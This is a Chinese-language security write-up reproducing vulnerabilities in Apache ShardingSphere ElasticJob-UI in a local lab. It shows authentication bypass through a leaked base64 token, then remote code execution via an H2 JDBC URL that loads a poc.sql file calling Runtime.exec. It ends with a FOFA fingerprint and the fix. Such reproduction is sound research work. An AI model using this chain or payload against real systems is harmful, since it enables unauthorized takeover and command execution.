Apache ShardingSphere ElasticJob-UI 漏洞复现
参考文章:https://cn-sec.com/archives/750814.html 、https://mp.weixin.qq.com/s/g7yOHp_T4JssCeM9snJusA
fofa指纹:app=”ShardingSphere-ElasticJob-UI”
0x00 环境搭建
我的环境搭建方式和参考文章不一样,参考文章疑似将前后端分别搭建,我是用了官网的构建方法
官网历史版本:https://archive.apache.org/dist/shardingsphere/
中文文档:https://github.com/apache/shardingsphere-elasticjob-ui/blob/master/README_ZH.md
环境:jdk8+maven
下载源码后idea打开整个源码文件夹
FIle >> Project >> 选择jdk1.8 和 java 8的语言等级
命令行用maven构建项目mvn clean package -Prelease
这里可能出现的报错
程序包javax.xml.bind.annotation不存在
jdk11的问题,需要使用jdk8
Error: Could not create the Java Virtual Machine. Error: ...
环境变量可能没改,idea里需要改为jdk1.8
Unrecognized option: --add-opens=jdk.compiler/com.sun.tools.javac.code=ALL-U
语言等级也要改为8
Fatal error compiling: java.lang.ExceptionInInitializerError: com.sun.tools.
lombok版本和本地jdk不兼容,需要去 官网 找个最新的,然后修改根目录的pom.xml依赖
1
2
3
4
5 <properties>
...
<lombok.version>1.18.22</lombok.version>
...
</properties>
构建完成,idea里直接运行apache-shardingsphere-elasticjob-3.0.0-ui-src\shardingsphere-elasticjob-lite-ui\shardingsphere-elasticjob-lite-ui-backend\src\main\java\org\apache\shardingsphere\elasticjob\lite\ui\Bootstrap.java
可以看到跑在8088端口,直接访问localhost:8088即可
0x01 漏洞复现
权限提升
- 未授权的guest账号可提权,获取root账号
debug模式跑项目,在shardingsphere-elasticjob-lite-ui\shardingsphere-elasticjob-lite-ui-backend\src\main\java\org\apache\shardingsphere\elasticjob\lite\ui\security\AuthenticationFilter.java
处第57行打断点,访问localhost:8088
利用普通账户guest/guest
登录,可以发现进入了拦截器,若有接受到请求,则调用handleLogin()
,在82行处,调用了security.UserAuthenticationService#getToken
获取token
在ecurity.UserAuthenticationService#getToken
中可以发现他把root和guest的账密都json格式化后base64编码返回到handleLogin()
burp截包看一眼
可以看到返回包中有上面base64编码的内容,写一个脚本解码,python、java均可,但是java要注意不能用java.util.base的包,否则会报错Illegal base64 character 5c
1 | # python3 |
1 | // java |
得到管理员权限账号密码
调用栈
1 | org.apache.shardingsphere.elasticjob.lite.ui.security.AuthenticationFilter#doFilter |
方法二:不用解码那串base64
在security.AuthenticationFilter#doFilter
处的条件分支可以看到,若访问的url不为/api/login
,则会看有没有Access-Token,因此我们可以直接添加一个请求头Access-Token
为那串base64编码即可实现认证绕过
命令执行
在权限提升部分获得root权限(解码账密登录或者使用Access-Token直接进入)后,在Event trace data source
点击ADD,会弹出一个Add a data source
弹窗,各项参数填写如下
1 | Name: test |
其中url使用的是阿里云团队在2021 HITB上演讲的议题:Make JDBC Attacks Brilliant Again 他是一种通过H2数据库getshell的方法,执行的脚本poc.sql
为
1 | CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "Q";}';CALL EXEC ('calc') |
随便新建一个文件夹,在文件夹里面新建
poc.sql
,然后命令行执行python3 -m http.server
开启一个服务,即可通过http://127.0.0.1:8000/poc.sql 获取到脚本
点击Test connect
,即可命令执行
0x02 修复方式
在org.apache.shardingsphere.elasticjob.lite.ui.security.AuthenticationFilter#handleLogin
处对userAuthenticationService.getToken()
做了修改,不再返回所有信息,而只是返回了authenticationResult.getUsername(), authenticationResult.isGuest()
两项,防止攻击者获取到root权限的token